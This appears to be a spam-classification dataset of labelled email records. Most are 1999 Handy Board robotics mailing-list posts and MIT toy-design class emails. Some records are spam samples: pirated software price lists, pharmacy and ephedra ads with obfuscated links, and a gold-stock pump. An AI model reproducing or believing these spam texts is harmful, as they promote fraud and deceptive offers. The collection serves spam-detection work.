will consist of: 1. The Steering Committee will send out initial recommendations on an article via e-mail. Those on the mailing list are encouraged to send these to other grads in their dept. 2. Steering will collect feedback via e-mail. 3. We'll all discuss the article at a meeting and suggest changes. 4. The Steering Committee will summarize the discussion and e-mail comments, and will provide a revised version by e-mail. (Again, those on the mailing list are encouraged to send these to other grads in their dept.) 5. We may have to go back to step #3 if serious concerns are raised by students. 6. Vote on it. Votes will be taken at meetings, plus they can be sent by e-mail before the meeting (we did not yet decide who will collect votes). If there is a general consensus, the article will pass. If not, we did not yet decide whether we will require some sort of margin (like 9/10ths) or if we would use some other method to resolve the problem (like more discussion). Most importantly, we decided there should be time limits on how long we spend on each article so that we ""move on."" Note that these voting procedures will be used for voting on the constitution/bylaw articles--this is not necessarily how the GSO will vote on issues in the future. 3. Constitution, Bylaws, etc. Attendees discussed the list of ""purposes"" for the GSO and suggested some additions and edits. The group also reviewed the types of formalization methods and agreed that not registering (with SAO), but still trying to collect a voluntary fee from grads, was the way to go. Someone suggested finding out a little more about how GRS's administration views us (""Do they think of us as the official grad group for GRS?"") and describe our and their views on how formal we are as an article in the constitution. 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Thanks John Hatton mailto:johnhatton@email.com >-----Original Message----- >From: Tom Brusehaver [SMTP:tgb@cozy.wamnet.com] >Sent: 05 February 1999 21:11 >To: Simon.Schulz@hagener-tgz.de >Cc: handyboard@media.mit.edu >Subject: Re: Dinsmore Compass 1490 > > >>http://dinsmoregroup.com/dico/1490spec.htm >> >>They produce a digital Compass which is very cheap ($12 only). >>Anyone already used such a compass ? >>Is there a way to get such a compass working with >>the HandyBoard ? > >The dinsmore devices are really easy to work with. This one has 4 >hall effect devices in it, and the output is digital. If you align it >with cardinal coordinates you can tell North, East, South, and West >very easily only one device is triggered, and the NW, NE, SE, NW >coordinates when two devices are triggered. > >Simply bias the the devices, and read the digital output at any device >output. > ",0,1 """Bogies J. Coerces"" ",Bait ,"Sat, 06 Feb 1999 07:03:05 -0400",Software,"Need s0ftware? Click here. Learn to build simple and clean websites that can bring in the dough... New software on our site: Actobat 6.0 Pro - $79.95 Photoshop 7 - $69.95 Freehand MX 11 - $69.95 Painter 8 - $59.95 Encarta Encyclopedia Delux 2004 (3CD) - $89.95 Premiere 6.5 - $89.95 Premiere 7 - $69.95 Windows XP Professional With SP2 Full Version - $79.95 Creative Suite Standard (3 CD) - $129.95 Visio 2003 Professional - $69.95 InDesign CS - $69.95 Windows NT 4.0 Server - $49.95 Premiere 6.5 - $89.95 Works 7 - $69.95 Our site: http://elk3182fkl29xeer1ee91wew.serragehj.com/ ",1,1 Simon.Schulz@hagener-tgz.de,handyboard@media.mit.edu,"Sat, 06 Feb 1999 18:40:19 +0100",IR Proximity Detector using a pic,"Hi, I found this very easy and cheap to build IR Proximity Detector. It uses one PIC12C508 or 509. I post this on the mailing list, because i searched some days until i found it, and maybe there are people, who are searching the same :) For those who are interested, look at: http://www.dprg.org/irprox.html Mail me if you need a URL of a cheap (only $2 !) programmer for Pic's (16C84,24Cxx,12c50x). Bye, Simon ",0,1 Duncan Orthner ,handyboard@media.mit.edu,"Sat, 06 Feb 1999 13:16:49 -0500",[moderately off topic post] LCD shutter material?,"Hi all, This really doesn't have anything to with the HB, but I'm at my wits end: I'm building a large high speed shutter-type device that will be controlled by a microcontroller (likely a BS2SX). Years ago I heard of a type of LCD shutter material that was used on a movie set. It was a clear flexible film that was used as a window covering. Then at the flip of a switch it became solid greyish black...sort of a giant LCD display. The company that makes this stuff apparently has a video with entire glass enclosed boardrooms that are made private at the flick of a switch...any of this ring any bells? Does anyone know where I can get more information on something like this? I've seen small LCD shutter modules (a few inches square) that are used in 3D glasses but I need something much larger... I've also posted this to the stamp list and I apologize to those who will get it twice... All input appreciated, Duncan ",0,0 Tom Brusehaver ,JohnHa@icsplc.co.uk,"Sat, 06 Feb 1999 12:53:17 -0600",Re: Dinsmore Compass 1490," >You say these devices just use hall effect devices to detect the >direction, do you have any technical information that would assist in >producing a digital compass from scratch ?. Why would you want to? They would be as expensive to build than to buy. The Dinsmore device is only $12, and PNI Vector2X is $49. (retail, probably cheaper somewhere). The Dinsmore device has a compass mechanism (real basic, like you take camping), and when the N arrow points to a hall effect device it is triggered. You could probably build a dinsmore like device using a larger camping compass, and have a bunch of hall effect devides glued to the sides. ",0,0 Ranjit Diol ,Gustav Schulz ,"Sat, 06 Feb 1999 15:51:03 -0500",Re: Dinsmore Compass 1490,"The Dinsmore 1490 (basically a Hall effect unit) reports the 8 cardinal compass points, a 45 degree precsion (N-NE-E-SE-S-SW-W-NW). If you wanted more precision then you have to upgrade to the Dinsmore 1525 or 1655 which produce analog signals. They cost $35 each. By the time you bought the associated components to interface it you will have invested more than what the Precision Navigation V2X with costs ($49.95) which is very simple to interface with readily available source code. Just a thought. Ranjit Gustav Schulz wrote: > Hi, > > I found this on the internet, and I wanted to know if anyone > is using it: > > http://dinsmoregroup.com/dico/1490spec.htm > > They produce a digital Compass which is very cheap ($12 only). > Anyone already used such a compass ? > Is there a way to get such a compass working with > the HandyBoard ? > > Thanks in advance! > > Bye, Simon -- Ranjit Diol - COMPSys Dowagiac,Michigan e-mail: rsdiol@mail.com website: http://www.compsys1.com ",0,1 messiah@unm.edu,Nick Taylor ,"Sat, 06 Feb 1999 16:26:30 -0800",Re: Handyboard Expansion Sonar Issues,"The quickest check is to go from V+ of the diode string and see if continuity to pin 1 of TL851 and pin 5 of SN28784 are less than 5 ohms. Similarly check from ground of your power connector to pin 3 of TL851 and pin 16 of SN28784 are less than 5 ohms. Best wishes, Nick Taylor wrote: > > jdunn@unm.edu wrote: > > > > There is a very high probability that you plugged the foil cable in > > backwards. Doing so, even for a moment, will destroy the IC chips. > > Please explain. Now I'm worried about damaging my sonar board. Since > the foil cable has conductors on only one side, I didn't think that it > was possible to plug it in ""backwards"" and still make an electrical > connection. > > My understanding of the hookup is as follows: > On the HB Expansion Board pin 1 (gnd) of the Polaroid connector is > toward the top of the board. On the Polaroid Ranging Module pin 1 > is toward the left. If the foil cable is connected so that the > dotted edge of the cable is nearest the pin 1 end of each connector, > I fail to see how there is any danger of damaging the sonar board. > > Thanks for your help. > - - -Nick - - -",0,0 Nick Taylor ,handyboard@media.mit.edu,"Sat, 06 Feb 1999 19:21:28 -0800",Interactive C Primitives,"There are several IC primitives for which I cannot find documentation nor source, such as: poke, peek, pokeword, peekword, bit_set, bit_clear These six are relatively simple to figure out by context and familiarity with other languages, but I find myself wondering what other primitives, and what nuances or caveats I may be missing. Can someone point me to documentation/source for IC primitives not documented in the HB Tech Reference, lib_hb.c or lib_hb.asm ... or at least a list of what primitives are available. Or possibly point out that these primitives are documented in plain sight and I'm just being dense. All responses will be appreciated. - - - Nick - - - ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Sat, 06 Feb 1999 23:41:57 -0800",Re: Interactive C Primitives,"My apologies for having posted this question. After re-reading the HB Tech Manual for the umpteenth time, para. 5.10 suddenly appeared out of nowhere! *Nick hangs his head in shame* - - - Nick - - - Nick Taylor wrote: > > There are several IC primitives for which I cannot > find documentation nor source, such as: > > poke, peek, pokeword, peekword, bit_set, bit_clear > > These six are relatively simple to figure out by > context and familiarity with other languages, but > I find myself wondering what other primitives, and > what nuances or caveats I may be missing. > > Can someone point me to documentation/source for > IC primitives not documented in the HB Tech Reference, > lib_hb.c or lib_hb.asm ... or at least a list of > what primitives are available. Or possibly point > out that these primitives are documented in plain > sight and I'm just being dense. > > All responses will be appreciated. > - - - Nick - - - ",0,0 """SHETTI.NITIN.MANGESH"" ",Peter Eacmen ,"Sun, 07 Feb 1999 16:21:38 -0500",Re: Matrices with Interactive C?,"Dear Peter, It supports multidimensional arrays, hence I think you can write a program to do matrix operations. Yours Sincerely, Nitin On Thu, 4 Feb 1999, Peter Eacmen wrote: > Does interactive C support matrices? > > ",0,0 """SHETTI.NITIN.MANGESH"" ",handyboard@media.mit.edu,"Sun, 07 Feb 1999 16:31:31 -0500",BEEPER,"Dear Friends, We have put ICs 6811,74374,74244,62256LP,74132,74138 on the handy board.The charger interfacer board is completely ready.All resistors, capacitors have been completely connected.LCD is not connected. When we try to download the pcode, it downloads perfectly well. However,when we boot IC it gives some errors. In a few cases,the beeper beeps continuously and IC does not boot. In certain cases the beeper beeps only once on reset and after that IC boots properly. When We entered 1 + 2; We got the answer as 3 properly. However when We do 123 * 2; We get different answers at different times. All answers We get are multiples of 123 like 123, 246 ,492. In a few cases the beeper does not beep at all on reset and IC does not boot. I believe that there is a short somewhere which is causing problems. Can any one please tell me where the problem can possibly be? Yours sincerely, Nitin ",0,0 """Fred G. Martin"" ",Nick Taylor ,"Sun, 07 Feb 1999 08:38:45 -0500",Re: Interactive C Primitives ,"these are documented in sec 5.10 of the hb tech ref. the larger issue is knowing the places you are supposed to peek and poke. some of these are hardware specific (e.g, motor port); others are software based/defined in the pcode implementation (e.g., system time). these are largely undocumented (esp the software ones) b/c they're not an interface we wanted to expose to the user. fred In your message you said: > There are several IC primitives for which I cannot > find documentation nor source, such as: > > poke, peek, pokeword, peekword, bit_set, bit_clear > > These six are relatively simple to figure out by > context and familiarity with other languages, but > I find myself wondering what other primitives, and > what nuances or caveats I may be missing. > > Can someone point me to documentation/source for > IC primitives not documented in the HB Tech Reference, > lib_hb.c or lib_hb.asm ... or at least a list of > what primitives are available. Or possibly point > out that these primitives are documented in plain > sight and I'm just being dense. > > All responses will be appreciated. > - - - Nick - - - > ",0,0 """Fred G. Martin"" ","""SHETTI.NITIN.MANGESH"" ","Sun, 07 Feb 1999 08:41:56 -0500",Re: BEEPER ,"it *might* be comms problems between the HB and your PC. if you can find an old 386/486, try the downloader on that. also, try booting your PC into DOS mode and see if things work better. f. In your message you said: > Dear Friends, > We have put ICs 6811,74374,74244,62256LP,74132,74138 on the handy > board.The charger interfacer board is completely ready.All resistors, > capacitors have been completely connected.LCD is not connected. > When we try to download the pcode, it downloads perfectly well. > However,when we boot IC it gives some errors. In a few cases,the beeper > beeps continuously and IC does not boot. In certain cases the beeper > beeps only once on reset and after that IC boots properly. When We > entered 1 + 2; > We got the answer as 3 properly. However when We do 123 * 2; We get > different answers at different times. All answers We get are multiples of > 123 like 123, 246 ,492. > In a few cases the beeper does not beep at all on reset and IC > does not boot. I believe that there is a short somewhere which is causing > problems. Can any one please tell me where the problem can possibly be? > Yours sincerely, > Nitin > > ",0,0 Hieremias Ha ,play99@media.MIT.EDU,"Sun, 07 Feb 1999 05:42:35 -0500",revitalizes my hair and nail growth,"it cheater may calculate be turpitude may foal and impolitic ",1,0 Richard Drushel ,handyboard@media.mit.edu,"Sun, 07 Feb 1999 10:20:06 -0500",Re: Interactive C Primitives,"[Fred G. Martin] spake unto the ether: > these are largely undocumented (esp the software ones) b/c they're not > an interface we wanted to expose to the user. Security through obscurity is always a bad idea :-) I can agree that software data structures are not public, but all the hardware stuff should be documented, since it's not likely to move around. *Rich* -- Richard F. Drushel, Ph.D. | ""Aplysia californica"" is your taxonomic Department of Biology, Slug Division | nomenclature. / A slug, by any other Case Western Reserve University | name, is still a slug by nature. Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot"" ",0,0 """Terry P. Gathright"" <669@worldnet.att.net>","William Bain , handyboard@media.mit.edu","Sun, 07 Feb 1999 10:16:39 -0600",Re: Handyboard Expansion Sonar Issues,"Hello, Where do I look for the directions for connecting the Polaroid sonar to the expansion board. Thanks Terry G. ---------- > From: William Bain > To: handyboard@media.mit.edu > Subject: Re: Handyboard Expansion Sonar Issues > Date: Friday, February 05, 1999 12:57 PM > > On Fri, 5 Feb 1999, Nick Taylor wrote: > > > jdunn@unm.edu wrote: > > > > > > There is a very high probability that you plugged the foil cable in > > > backwards. Doing so, even for a moment, will destroy the IC chips. > > > > Please explain. Now I'm worried about damaging my sonar board. Since > > the foil cable has conductors on only one side, I didn't think that it > > was possible to plug it in ""backwards"" and still make an electrical > > connection. > > > > My understanding of the hookup is as follows: > > On the HB Expansion Board pin 1 (gnd) of the Polaroid connector is > > toward the top of the board. On the Polaroid Ranging Module pin 1 > > is toward the left. If the foil cable is connected so that the > > dotted edge of the cable is nearest the pin 1 end of each connector, > > I fail to see how there is any danger of damaging the sonar board. > > It's possible that the flat flex cable could make electrical contact > either way, since the socket has ""teeth"" in it that could penetrate the > insulation on the one side of the cable. > > And *don't* trust that the dotted edge is the correct one; I ordered the > pair of sonar kits, and it came with one cable correctly marked and the > other cable incorrectly marked. > > Just make sure that pin 1 as marked on the sonar module board ends up > connected to the corresponding pin on the expansion board. If you're in > any doubt, check the circuits and verify that V+ goes to V+, GND goes to > GND, etc. I hope this helps. > > --Will > >",0,0 Nick Taylor ,handyboard@media.mit.edu,"Sun, 07 Feb 1999 08:45:42 -0800",Re: Handyboard Expansion Sonar Issues,"Look at these: http://el.www.media.mit.edu/projects/handy-board/software/sonar.html and http://el.www.media.mit.edu/projects/handy-board/hbexp30/software.html I also added a 100uF cap across the supply as shown in this link: http://www.robotics.com/arobot/sonar.html Others suggest ana even larger cap. (470uF), but I haven't had any problems with power sag until the batteries are almost discharged. - - - Nick - - - ""Terry P. Gathright"" wrote: > > Hello, > Where do I look for the directions for connecting the Polaroid sonar to the > expansion board. > > in the directions? > > Thanks > Terry G. > > ---------- > > From: William Bain > > To: handyboard@media.mit.edu > > Subject: Re: Handyboard Expansion Sonar Issues > > Date: Friday, February 05, 1999 12:57 PM > > > > On Fri, 5 Feb 1999, Nick Taylor wrote: > > > > > jdunn@unm.edu wrote: > > > > > > > > There is a very high probability that you plugged the foil cable in > > > > backwards. Doing so, even for a moment, will destroy the IC chips. > > > > > > Please explain. Now I'm worried about damaging my sonar board. Since > > > the foil cable has conductors on only one side, I didn't think that it > > > was possible to plug it in ""backwards"" and still make an electrical > > > connection. > > > > > > My understanding of the hookup is as follows: > > > On the HB Expansion Board pin 1 (gnd) of the Polaroid connector is > > > toward the top of the board. On the Polaroid Ranging Module pin 1 > > > is toward the left. If the foil cable is connected so that the > > > dotted edge of the cable is nearest the pin 1 end of each connector, > > > I fail to see how there is any danger of damaging the sonar board. > > > > It's possible that the flat flex cable could make electrical contact > > either way, since the socket has ""teeth"" in it that could penetrate the > > insulation on the one side of the cable. > > > > And *don't* trust that the dotted edge is the correct one; I ordered the > > pair of sonar kits, and it came with one cable correctly marked and the > > other cable incorrectly marked. > > > > Just make sure that pin 1 as marked on the sonar module board ends up > > connected to the corresponding pin on the expansion board. If you're in > > any doubt, check the circuits and verify that V+ goes to V+, GND goes to > > GND, etc. I hope this helps. > > > > --Will > > > >",0,1 Ah Beng ,handyboard@media.mit.edu,"Mon, 08 Feb 1999 01:09:10 +0800",Unsuscribe,"I would like to unsubscribe from the mailing list. Thank you ",0,0 """Fred G. Martin"" ","""Terry P. Gathright"" <669@worldnet.att.net>","Sun, 07 Feb 1999 12:18:00 -0500",Re: Handyboard Expansion Sonar Issues ,"sonar stuff is at fred In your message you said: > Hello, > Where do I look for the directions for connecting the Polaroid sonar to the > expansion board. > > in the directions? > > Thanks > Terry G. > > ---------- > > From: William Bain > > To: handyboard@media.mit.edu > > Subject: Re: Handyboard Expansion Sonar Issues > > Date: Friday, February 05, 1999 12:57 PM > > > > On Fri, 5 Feb 1999, Nick Taylor wrote: > > > > > jdunn@unm.edu wrote: > > > > > > > > There is a very high probability that you plugged the foil cable in > > > > backwards. Doing so, even for a moment, will destroy the IC chips. > > > > > > Please explain. Now I'm worried about damaging my sonar board. Since > > > the foil cable has conductors on only one side, I didn't think that it > > > was possible to plug it in ""backwards"" and still make an electrical > > > connection. > > > > > > My understanding of the hookup is as follows: > > > On the HB Expansion Board pin 1 (gnd) of the Polaroid connector is > > > toward the top of the board. On the Polaroid Ranging Module pin 1 > > > is toward the left. If the foil cable is connected so that the > > > dotted edge of the cable is nearest the pin 1 end of each connector, > > > I fail to see how there is any danger of damaging the sonar board. > > > > It's possible that the flat flex cable could make electrical contact > > either way, since the socket has ""teeth"" in it that could penetrate the > > insulation on the one side of the cable. > > > > And *don't* trust that the dotted edge is the correct one; I ordered the > > pair of sonar kits, and it came with one cable correctly marked and the > > other cable incorrectly marked. > > > > Just make sure that pin 1 as marked on the sonar module board ends up > > connected to the corresponding pin on the expansion board. If you're in > > any doubt, check the circuits and verify that V+ goes to V+, GND goes to > > GND, etc. I hope this helps. > > > > --Will > > > > >",0,1 Michael Hawley ,play99@amt.media.mit.edu,"Sun, 07 Feb 1999 13:06:05 -0500",Projects in Play 2/9/99: Toy Technologies,"All, Here's our agenda on Tuesday, and a reminder of our assignment: (1) toy technologies (45min): What technology ingredients (things, tools, people, processes) are available, both in the Lab and beyond? (2) top ten toy ideas (45min): Your best ten (our best ~250) ideas for wonderful new toys. (3) Ivy Ross, head of Mattel's Barbie design group (30min): Barbie is the most popular toy in the world by many measures, and Mattel's latest designs run the gamut from ""Talk To Me Barbie"" (featuring speech and infrared PC links), and the Barbie camera, to the Ultimate ""Phantom of the Opera"" Barbie, which includes a first class ticket to London to see the show. Both 1 & 2 will be ongoing for us throughout the term. Think of our job as constructing a yellow pages of toyable technologies, and a kind of ""joy of cooking"" of toy ideas. We'll all uncover many more ideas to add as we go, but the idea of this class is think broadly -- we will dig deeper into focused issues later. To that end, prior to class on Tuesday, can you each please send *one* email to the whole class (play99@media.mit.edu) with your top ten toy ideas. Please put your best creative thought into this -- we're going to brainstorm on these ideas on Tuesday, and refreshing new concepts would be a great beginning. Let me suggest we keep our email simple, e.g.: ----------------------------------------------------------------- 10. Olympic Rings. It's a new kind of LEGO jewelry -- five colored bangles that snap together to make a bracelet; or, snap them into the shape of the Olympic logo. Internally illuminated with colored LED's, with PIC control and metal connectors. Animated color effects when bracelets are assembled. 9. LEGO Toothbrush. Assemble your own electric toothbrush out of LEGO toys. Toothbrush plays music, or the headlines of today's current events, or reminders (""it's 8:15 am! 97 days til your next dentist visit!"") -- when the entertainment stops, brushing time is over. Has inductive link for power/data; snaps into charger base. 8. Etch-A-Sketch Wizard. An Etch-a-Sketch transformed into a PostScript printer. Easel holds the tablet, and contains XY steppers to twiddle the knobs, and a shaker to erase. USB interface and some image software for driver to allow you to convert snapshots of your friends into Etch-A-Sketch cartoons. (Idea first proposed by Lau & Kaye). . . . ----------------------------------------------------------------- As a reminder, 2/23 is focused on learning with construction toys, and 3/2 will be about expressive toys. Tod, Mitch and I will rotate turns as nominal leader. See you Tuesday, Mike, Tod, and Mitch ",0,0 Abner ,handyboard@media.mit.edu,"Mon, 08 Feb 1999 00:44:24 -0800",Good effects of Ephedra,"on syrup a bombard a xylophone a workmanlike the sea ",1,0 """Terry P. Gathright"" <669@worldnet.att.net>","""Fred G. Martin"" ","Sun, 07 Feb 1999 14:23:53 -0600",Re: Thanks ,"Thanks, I had overlooked the spot somehow. Terry G. ",0,0 """Terry P. Gathright"" <669@worldnet.att.net>","Nick Taylor , handyboard@media.mit.edu","Sun, 07 Feb 1999 15:51:59 -0600",Re: Handyboard Expansion Sonar Issues,"Hello All, Still a little confused about connecting the sonar unit. Can I simply plug the polaroid connector to the sockets provided ,install the 1.5 wire to digital 7 , install the cap at C7? or do I have to have the diodes and connect to the motor port?? Thanks Terry G. <1.Install the 9-pin flex cable adapter in the position provided. 2.Solder a 1.5"" length of solid core hookup wire (22 gauge) to the PCB pad labeled J12, thread it between the digital output and analog input headers, and plug it into digital input 7 on the main Handy Board. 3.Use the sonar.c driver provided on the Handy Board sonar web page,> http://el.www.media.mit.edu/projects/handy-board/software/sonar.html   ---------- > From: Nick Taylor > To: handyboard@media.mit.edu > Cc: Terry P. Gathright <669@worldnet.att.net> > Subject: Re: Handyboard Expansion Sonar Issues > Date: Sunday, February 07, 1999 10:45 AM > > Look at these: > http://el.www.media.mit.edu/projects/handy-board/software/sonar.html > and > http://el.www.media.mit.edu/projects/handy-board/hbexp30/software.html > > I also added a 100uF cap across the supply as shown in this link: > http://www.robotics.com/arobot/sonar.html > Others suggest ana even larger cap. (470uF), but I haven't had any > problems with power sag until the batteries are almost discharged. > > - - - Nick - - - > > > > ""Terry P. Gathright"" wrote: > > > > Hello, > > Where do I look for the directions for connecting the Polaroid sonar to the > > expansion board. > >",0,1 Brenda Burd ,Handyboard@media.mit.edu,"Sun, 07 Feb 1999 15:00:05 -0500",your energy into fourth gear,"a federate not reinstate be somerville and lumpish on macrame ",1,0 Theodora Lloyd ,handyboard@media.mit.edu,"Sun, 07 Feb 1999 16:18:18 -0300",Get prescription medicine for less!,"We offer a fast-track repeat prescription service. http://vlhzh.ks8apbpp8hpa222dp2kd7k2k.penalizekm.com/?vglqd ",1,1 Dathan Kinner ,icon-group-addresses@baskerville.CS.Arizona.EDU,"Sun, 07 Feb 1999 13:10:32 -0700",Re: your VALtUkM,"Hi Look, this information might be pretty interesting for you X A C P V L V a m I r A e I n b A o L v A a i L z I i G x e I a U t R n S c M ra A http://www.lupacrhel.com Its trolls! said Bilbo from behind a tree. They had forgotten all about him. Theyre hiding in the bushes with sacks, said he. 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Steve Owens ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Ameen Suleman ,handyboard ,"Sun, 07 Feb 1999 20:46:15 -0500",Problem with my handyboard,"My handyboard is dead. It happened when I was fooling around with the expansion socket J3 and the LCD socket. I might have induced a short. Now first here are the symptoms: - I can download the pcode to the handyboard. It says the bootstrap was successful. Later it even says that the download was successful. Then it asks me to reset the board. When I reset the board, it says the board is not responding. - The LCD has died as a consequence of the short. I have replaced the LCD with another LCD from a working handyboard. Now the LCD only displays blocks in the top row. This LCD still works in the working handyboard. - I have taken out the memory chip and loaded it into the working handyboard. The memory chip works. The memory chip from the working handyboard did not change anything on the dead handyboard. Here are the options I think I have: - Buy another 68hc11 chip and try it out - in case the 68hc11 chip in the dead handyboard is bad. - Buy a bare handyboard pcb and populate it with components from the dead handyboard using the assembly instructions. I can test as I go along as indicated in the instructions. Sooner or later I'll come across the part where the components just inserted fail the test. Is there a more intelligent way out of this? Regards, Ameen Suleman ",0,0 Lucia Castle ,handyboard@media.mit.edu,"Sun, 07 Feb 1999 20:57:55 -0540",Yours - 0f Sara 's market r0b reviewed Sara ,"Why MGMX should be on your radar screen now! GOLD= way over $600 an ounce and some analysts predict gold will go way higher. Glamis Gold, once as low as $2.68 a share, now $42. Agnico Eagle, a $5 stock in 2001, now $40. Royal Gold, trading at $2.60 just five years ago, now fetching $34 a share. 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G'Luck, Ranjit Steve Owens wrote: > Hello all, > > I'm in the purchasing phase of my handy board project. I understand > that Digi-Key and Mouser do not sell 68HC11 microcontrollers. I tried > Newark, and they want me to buy 23 at a time(!) > > Where have you been buying your 68HC11's? (I may be asking this > question prematurely since I haven't checked with Motorola yet. So, > please forgive me.) Also, what price have you been getting for them? > > Thank-you for your input. > > Steve Owens > > ______________________________________________________ > Get Your Private, Free Email at http://www.hotmail.com -- Ranjit Diol - COMPSys Dowagiac,Michigan e-mail: rsdiol@mail.com website: http://www.compsys1.com ",0,1 """Terry P. Gathright"" <669@worldnet.att.net>","Steve Owens , handyboard@media.mit.edu","Sun, 07 Feb 1999 20:23:04 -0600",Re: where do you buy a 68hc11?,"Hello Steve, Try B G Micro, I bought three from them a while back for $6.95 each. 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Thank you ____________________________________________________________________ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1 ",0,1 �� ���� ,jim@aleve.media.mit.edu,"Fri, 23 Oct 1931 17:31:09 +0000",������õ �ʰ������� �Ͼ���� ���� �۱ݵ˴ϴ� ������Ÿ,���� ���� ���� ������ ��������           �� �� �� �� �� ��         �� �� �� �� �� ��    �� �� �� �� �� �� �� ����      �� �� �� �� �� �� ��     �� �� �� �� �� �� ��������   �� �� �� �������� �� ��   �� �� �� �� �� �� �� �� �� ��,1,1 wisdomx@usa.net,handyboard@media.mit.edu,"Mon, 08 Feb 1999 13:49:51 -0000",Unsuscribe,"I would like to unsiscribe from the mailing list. Thank you. ____________________________________________________________________ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1 ",0,1 michael lang kee ,wisdomx@usa.net,"Mon, 08 Feb 1999 07:49:29 -0700",Re: Unsuscribe," I was wondering if any of you knew where to get a SN28784 chip, which is on the Sonar Module board. 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Please, please, *please* DO NOT send mail to handyboard. one thousand tongue lashings will follow if you disobey these instructions. fred ",0,0 Mike Howard ,handyboard@media.mit.edu,"Mon, 08 Feb 1999 09:23:28 -0800",Newton Operating System," Does anyone know whether one can run a Handy Board with software for a Newton. We have an Apple eMate, which has a Newton operating system and it would be useful to run the Handy Board with it. Mike Howard ",0,0 Steve Wall ,handyboard@media.mit.edu,"Mon, 08 Feb 1999 12:48:17 -0500",Canadian Boarders?," I would like to know if there are any Canadians on the list to talk about parts acquisitions. It seems that my local radio shack is quite useless for this kind of project I would just use the parts list but I am saving it as a last resort as you see our Canadian dollar is somewhat lacking so to order required parts is quite expensive. So if any one can help help with a list of alternate suppliers I would be grateful. Thanx ___________________________________________________ Steve Wall Sir Sandford Fleming college Swall@flemingc.on.ca ",0,0 Michael T Deplonty ,play99@media.MIT.EDU,"Mon, 08 Feb 1999 12:58:40 -0500",DePlonty's Top 10,"No particular order: 1) Robot Star Wars Figures Figures that can be controlled via a ""board"" of some type. Can program what you want groups of people to do and sit back and watch it unfold. For example, say you have ten storm troopers you want to chase Boba Fett cause he just sold out to a higher bidder and is escaping with secret Imperial plans. Well, one person does not have eleven hands. With this, that problem would be solved. Or, you could find 6 friends to play with, but this is a bit harder. 2) Musical Clothes Original idea was a musical shoe. Clothing contains a sensors or something that will create music as you play, walk, exercise, what have you. But this is stored in some chip that you can take out when you get home or to the office or . . ., plug into the computer device, and hear what music you created while playing outside etc. 3) Virtual Zoo Web based thing. Create and name your own zoo, only instead of cages, people go to the ""actual"" habitats to see the zoo specimens. Amount of detail will range from general for the small tykes to very specific for the control freaks. As you form your zoo, get to learn about the animals, endangered species, habitats, etc. This will also keep track of how many people both visit your sight and which attractions they visit. Can team up with other kids and create a mega zoo over the web. . . Also will be able to design your own species, either here on earth or on far away planets. As long as you can keep up the illusion . . . 4) Musical picture Draw a cartoon, shapes, what have you and can add sounds to your work. ZOINK! 5) Fun with fluids See through pipes so you can wathc as fluids coarse through, kind of a take off of the electric train. Could also be used to mimic the human vascular system or the like. 6) Incredible Journey Just like the movie, only now a game (ok, copyright issues here, but . . .) Learn about the human body, medicine, diseases. Could have a goal like take on the AIDS virus with your super sub or something like that. 7) Circuit Maze Travel through the world of an IC chip. Could also have people design their own chip of sorts, and see how the electron travels through it. Start off by including some of the most widely used IC chips, like computer memory, microporcessors, car air conditioning controlers, . . . 8) Wanna be rappers Can create a personalized rap group. Have programmed in some poetry that works well to a definate beat and sounds ""cool."" This ""box"" will interact with the user as they slow down or speed up, or could be set to keep an unyielding beat. 9) Model airplane and a computer Put a chip into a model airplane. Have the chip talk to a computer thing and allow the child to fly the plane and watch it fly on the computer. Can see how the temperature changes (if any), wind patterns, drop bombs. Could also be a glider and the computer will track its speed. Or computer could draw things depending on how/where the plane flies. 10) Tub time boats Interactive toy boats. They dodge as you spray water at them, and they shoot back. Could also become submersible to avoid the common capsizing. Michael DePlonty ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Mon, 08 Feb 1999 10:25:07 -0800",68HC11 Emulator for Win-32,"The March, 1999 issue of Dr. Dobb's Journal has an article about WOOKIE, a windoze based emulator for 68HC11 software development. It looks interesting. The source and an executable are available as freeware from: http://www.msoe.edu/eecs/ce/ceb/resources/ - - - Nick - - - ",0,1 Tamara Lackner ,play99@media.mit.edu,"Mon, 08 Feb 1999 17:21:21 -0500",Top 10 Toy Ideas,"1. MUSICAL PUZZLE Musical blocks that you put together to compose a song. Each block contains a musical phrase and a landscape representing the pitch contour and length of the notes. As you put the blocks together they each play their respective musical phrases. The object is to put the puzzle together in the correct order, or to create your own music with the existing pieces. 2. MUSICAL N-PUZZLE Each square contains a musical phrase or representation of a phrase, and as you snap the squares together they play. In some ways, it's the same as the musical puzzle except that it's a pocket sized version. 3. MUSCIAL COLORING/DRAWING PENS Pens play sounds depending on what you draw. For example, the harder you press the louder the sound gets. Or if you draw in an upwards motion, the pitch increases, etc. Different colored pens could make different kinds of sounds. 4. DIGITAL DIARY/JOURNAL/SCRAPBOOK Basically, it’s a digital book. Young girls can write or record diary or journal entries. They can annotate their entries with art, audio, video, photographs, etc… 5. PROGRAMMABLE DOLLS Like programmable bricks, but geared more for young girls. Allow girls to program behaviors for their dolls. For example, if a baby doll doesn't get fed for a certain number of hours, make it start crying. Sort of a ""do-it-yourself"" Tamagotchi. 6. DRESS UP Use a vision/object recognition system to return relevant video, images, information about the time periods in which the children are pretending to dress up. 7. CHILDREN'S VIDEO CAMERA Simpler version of a normal video camera, but with built-in editing capabilities and ""fun"" functions (i.e. special effects filters, character filters, etc…) Should also be digital so that kids can download their movies and send them to friends. 8. REMOTE CONTROL CAR WITH CAMERA So that you don't have to look at where the car is from a distance, but instead you see on a screen the driver's perspective. Can also link with other car owners to exchange features. For example, one guy has turbo boost for extra performance and yours has variable suspension, and you infrared each other to gain features. The features are already built in, but the ""infrared exchange"" unlocks them. 9. LOW TECH COMIC BOOK Comes with pre-drawn backgrounds. You use magnetic characters and objects to build little scenes. Also things like blank cutouts where you can write your own dialog. 10. CHEMICAL COMPOSITION PEN A little electronic pen for wannabe engineers that will tell you the composition of anything you touch it to. ~~~~~~~~~~~~~~~~~~~~~~~~~~ tamara m lackner mit media lab ph: 617 253 1401 http://www.media.mit.edu/~tlackner ",0,1 Jason Jay ,play99@media.MIT.EDU,"Mon, 08 Feb 1999 17:29:58 -0500",Jason's Toybox,"1. Musical glowsticks Glowsticks are a lot of fun to wave around in the dark to make cool trails (as many electronic music fans can attest). It would be really cool if moving the glowsticks created sound in addition to responding to it. This could work via piesoelectric sensors sending radio signals to a sound synthesizer or 